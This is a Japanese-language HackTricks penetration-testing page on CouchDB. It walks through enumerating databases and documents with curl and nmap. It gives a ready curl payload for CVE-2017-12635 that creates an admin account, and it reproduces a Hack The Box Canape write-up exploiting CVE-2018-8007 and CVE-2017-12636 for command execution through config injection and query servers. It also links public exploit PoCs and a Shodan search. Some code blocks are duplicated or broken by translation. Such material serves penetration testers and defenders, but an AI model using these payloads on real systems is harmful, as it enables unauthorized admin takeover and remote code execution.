mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
319 lines
23 KiB
Markdown
319 lines
23 KiB
Markdown
# 5984,6984 - CouchDBのペネトレーションテスト
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||
|
||
</details>
|
||
|
||
## **基本情報**
|
||
|
||
CouchDBはドキュメント指向のデータベースで、各ドキュメント内のフィールドはキーと値のマップとして保存されます。フィールドは、単純なキー/値のペア、リスト、またはマップであることができます。
|
||
|
||
データベースに保存される各ドキュメントには、ドキュメントレベルの一意の識別子(`_id`)と、データベースに変更が加えられ保存されるたびに付与されるリビジョン番号(`_rev`)が与えられます。
|
||
|
||
**デフォルトポート:** 5984(http), 6984(https)
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
5984/tcp open unknown syn-ack
|
||
```
|
||
## **自動列挙**
|
||
```bash
|
||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||
```
|
||
## 手動列挙
|
||
|
||
### バナー
|
||
```
|
||
curl http://IP:5984/
|
||
```
|
||
この問題は、インストールされたCouchDBインスタンスにGETリクエストを発行します。返信は以下のいずれかのように見えるはずです:
|
||
```bash
|
||
{"couchdb":"Welcome","version":"0.10.1"}
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
```
|
||
{% hint style="info" %}
|
||
couchdbのルートにアクセスした際に`401 Unauthorized`が表示され、以下のようなメッセージが出る場合:`{"error":"unauthorized","reason":"Authentication required."}` **バナーや他のエンドポイントにアクセスすることはできません**。
|
||
{% endhint %}
|
||
|
||
### 情報列挙
|
||
|
||
以下のエンドポイントに**GET**リクエストでアクセスし、興味深い情報を抽出できます。[**さらに多くのエンドポイントと詳細な説明はcouchdbのドキュメントで見つけることができます**](https://docs.couchdb.org/en/latest/api/index.html)。
|
||
|
||
* **`/_active_tasks`** 実行中のタスクのリストで、タスクのタイプ、名前、ステータス、プロセスIDが含まれます。
|
||
* **`/_all_dbs`** CouchDBインスタンス内のすべてのデータベースのリストを返します。
|
||
* **`/_cluster_setup`** クラスタ設定ウィザードに従って、ノードまたはクラスタの状態を返します。
|
||
* **`/_db_updates`** CouchDBインスタンス内のすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、`_global_changes`データベースが存在する必要があります。
|
||
* **`/_membership`** `cluster_nodes`としてクラスタの一部であるノードを表示します。`all_nodes`フィールドは、クラスタの一部であるものを含む、このノードが知っているすべてのノードを表示します。
|
||
* **`/_scheduler/jobs`** レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。
|
||
* **`/_scheduler/docs`** レプリケーションドキュメントの状態のリスト。`completed`および`failed`状態のドキュメントを含む、すべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。
|
||
* **`/_scheduler/docs/{replicator_db}`**
|
||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||
* **`/_node/{node-name}`** `/_node/{node-name}`エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、`/_node/_local`にアクセスしてこの情報を取得する際に最も役立ちます。
|
||
* **`/_node/{node-name}/_stats`** `_stats`リソースは、実行中のサーバーの統計を含むJSONオブジェクトを返します。リテラル文字列`_local`はローカルノード名のエイリアスとして機能するため、すべての統計URLにおいて、`{node-name}`は`_local`に置き換えられ、ローカルノードの統計と対話することができます。
|
||
* **`/_node/{node-name}/_system`** `_system`リソースは、実行中のサーバーのさまざまなシステムレベルの統計を含むJSONオブジェクトを返します。`_local`を{node-name}として使用して、現在のノード情報を取得できます。
|
||
* **`/_node/{node-name}/_restart`**
|
||
* **`/_up`** サーバーが起動しており、リクエストに応答する準備ができていることを確認します。[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode)が`true`または`nolb`の場合、エンドポイントは404レスポンスを返します。
|
||
* **`/_uuids`** CouchDBインスタンスから1つ以上のユニバーサルユニーク識別子(UUID)を要求します。
|
||
* **`/_reshard`** 完了、失敗、実行中、停止、および合計ジョブの数と、クラスタ上のリシャーディングの状態を返します。
|
||
|
||
こちらで説明されているように、さらに興味深い情報を抽出できます:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||
|
||
### **データベースリスト**
|
||
```
|
||
curl -X GET http://IP:5984/_all_dbs
|
||
```
|
||
If that request **401未承認で応答する場合**、データベースにアクセスするためにはいくつかの**有効な資格情報**が必要です:
|
||
```
|
||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||
```
|
||
有効なクレデンシャルを見つけるために、[**サービスをブルートフォースする**](../generic-methodologies-and-resources/brute-force.md#couchdb)ことができます。
|
||
|
||
これは、データベースをリストするのに**十分な権限**を持っているときのcouchdbの**レスポンス**の**例**です(これは単にdbsのリストです):
|
||
```bash
|
||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||
```
|
||
### データベース情報
|
||
|
||
データベース名にアクセスすることで、ファイル数やサイズなどのデータベース情報を取得できます:
|
||
```bash
|
||
curl http://IP:5984/<database>
|
||
curl http://localhost:5984/simpsons
|
||
#Example response:
|
||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||
```
|
||
### **ドキュメントリスト**
|
||
|
||
データベース内の各エントリをリストアップ
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||
curl http://localhost:5984/simpsons/_all_docs
|
||
#Example response:
|
||
{"total_rows":7,"offset":0,"rows":[
|
||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||
]}
|
||
```
|
||
### **ドキュメントの読み取り**
|
||
|
||
データベース内のドキュメントの内容を読み取ります:
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/{id}
|
||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||
#Example response:
|
||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||
```
|
||
## CouchDB 権限昇格 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||
|
||
Erlang と JavaScript の JSON パーサーの違いを利用して、以下のリクエストで `hacktricks:hacktricks` の認証情報を持つ**管理ユーザーを作成**できます:
|
||
```bash
|
||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||
```
|
||
[**この脆弱性に関する詳細はこちら**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||
|
||
## CouchDB RCE
|
||
|
||
### Erlang Cookie
|
||
|
||
CouchDBのドキュメントにある[クラスター設定セクション](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)では、CouchDBが使用する異なるポートについて説明しています:
|
||
|
||
> クラスターモードのCouchDBはスタンドアロンと同じくポート`5984`を使用しますが、ノードローカルAPI用に`5986`も使用します。
|
||
>
|
||
> Erlangは他のノードを見つけるためにTCPポート`4369`(EPMD)を使用するので、すべてのサーバーはこのポートで互いに通信できる必要があります。Erlangクラスターでは、すべてのノードが他のすべてのノードに接続されています。メッシュです。
|
||
|
||
そして、興味深い警告があります:
|
||
|
||
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
|
||
|
||
プロセスリストを見ると、そのcookie、“monster”が見えます:
|
||
```
|
||
www-data@canape:/$ ps aux | grep couchdb
|
||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||
```
|
||
**Erlangのクッキーを悪用してRCEを取得する方法を学ぶには**[**このセクションを読むことができます**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。**\
|
||
また、**Canape HTBマシンのライトアップ**を読むことで、この脆弱性を**実践**して**悪用する方法**を見ることができます。[**こちらのライトアップ**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)が参考になります。
|
||
|
||
### **成功したCVE-2018-8007とlocal.iniの書き込み権限**
|
||
|
||
この投稿を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)です。これも`local.ini`ファイルへの書き込みが必要なので、Canapeには役立たないかもしれません。しかし、すでにrootとして書き込み可能にしているので、機能するかどうか見てみましょう。
|
||
|
||
クリーンで書き込み可能な`local.ini`(とバックアップ)から始めます:
|
||
```
|
||
root@canape:/home/homer/etc# ls -l
|
||
total 40
|
||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||
```
|
||
```markdown
|
||
`curl`を使用して`local.ini`ファイルのオリジンを変更することができます。ここでの脆弱性は、`curl`を使用して新しいオリジンと改行を置くと、新しいヘッダーや詳細を含む追加の内容を書き込むことができる点です。したがって、`[os_daemons]`フィールドを利用し、CouchDBが実行し続けようとするプロセスを追加します:
|
||
```
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||
```
|
||
ルートシェルでは、何が変更されたかを確認できます:
|
||
```
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
119,124d118
|
||
<
|
||
< [cors]
|
||
< origins = 0xdf
|
||
<
|
||
< [os_daemons]
|
||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||
```
|
||
ファイルは存在しません:
|
||
```
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
ls: cannot access '/tmp/0xdf': No such file or directory
|
||
```
|
||
プロセスを見てみると、`couchdb`がコマンドラインに含まれているものがあります。これには、先ほど使用したクッキー値を示すコマンドラインだけでなく、`runsrv couchdb`も含まれています:
|
||
```
|
||
root@canape:/home/homer/bin# ps aux | grep couch
|
||
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
|
||
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
|
||
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
|
||
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
|
||
```
|
||
プロセスを終了させても、すぐに復活します(新しいpidに注目してください):
|
||
```
|
||
root@canape:/home/homer/etc# kill 711
|
||
root@canape:/home/homer/etc# ps aux | grep runsrv
|
||
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
|
||
```
|
||
再起動時には、OS\_Daemonsを実行します:
|
||
```
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
/tmp/0xdf
|
||
```
|
||
### **local.ini書き込み権限を持つCVE-2017-12636による成功した試み**
|
||
|
||
CVE-2017-12636は、couchdbプロセスを通じてコード実行を可能にします。しかし、この設定では機能しません。
|
||
|
||
いくつかのPOCが参考として存在します:
|
||
|
||
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
|
||
|
||
新しいquery\_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされたとき、ほとんどのPOCはcouchdb 1.x用でしたが、このボックスは2を実行しているため、ほとんどのPOCのquery\_serversパスは存在しません。それは今変わりましたが、同じステップを踏みます。まず、バージョンを取得し、1.Xパスが存在しないことを示します:
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl http://localhost:5984
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
|
||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||
{"error":"not_found","reason":"Database does not exist."}
|
||
```
|
||
2.0の新しいパスに更新してください:
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
|
||
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
|
||
|
||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
|
||
```
|
||
そこから、query\_serverを追加してからそれを呼び出すべきですが、できません。
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
|
||
```
|
||
いくつかのGoogle検索によると、これは権限に関する問題です。実際に、rootシェルで確認すると、`local.ini` ファイルはwww-dataはおろか、誰にも書き込み可能ではないことがわかります:
|
||
```
|
||
root@canape:/home/home/etc# ls -ls local.ini
|
||
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
|
||
```
|
||
これでCanapeに関しては行き止まりです。しかし、動作させようと思えば、rootまたはhomerアクセス権を使って読み取り可能にし、この道を進むことができます。変更点を確認できるように、元のファイルのバックアップを取ります。
|
||
```
|
||
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||
root@canape:/# chmod 666 /home/homer/etc/local.ini
|
||
```
|
||
現在、www-data シェルに戻ります:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
""
|
||
```
|
||
|
||
```
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
""
|
||
```
|
||
前のcmdクエリサーバーの値が返ってきました。これは成功を意味します。そして、ルートシェルでは、それが機能したことが確認できます:
|
||
```
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
48c48
|
||
< cmd = /sbin/ifconfig > /tmp/df
|
||
---
|
||
> cmd =
|
||
```
|
||
```markdown
|
||
これで、dbを作成し、そのdbにドキュメントを作成し、クエリ\_サーバーをマッピングするビューを使って実行を取得するリクエストができるはずです。
|
||
|
||
dbとドキュメントの作成:
|
||
```
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
{"ok":true}
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||
```
|
||
|
||
```
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
{"ok":true}
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||
```
|
||
リクエストをビューで行う:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
|
||
```
|
||
#### 異なるペイロードを使用した[要約](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)
|
||
|
||
## Shodan
|
||
|
||
* `port:5984 couchdb`
|
||
|
||
## 参考文献
|
||
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||
|
||
<details>
|
||
|
||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||
|
||
</details>
|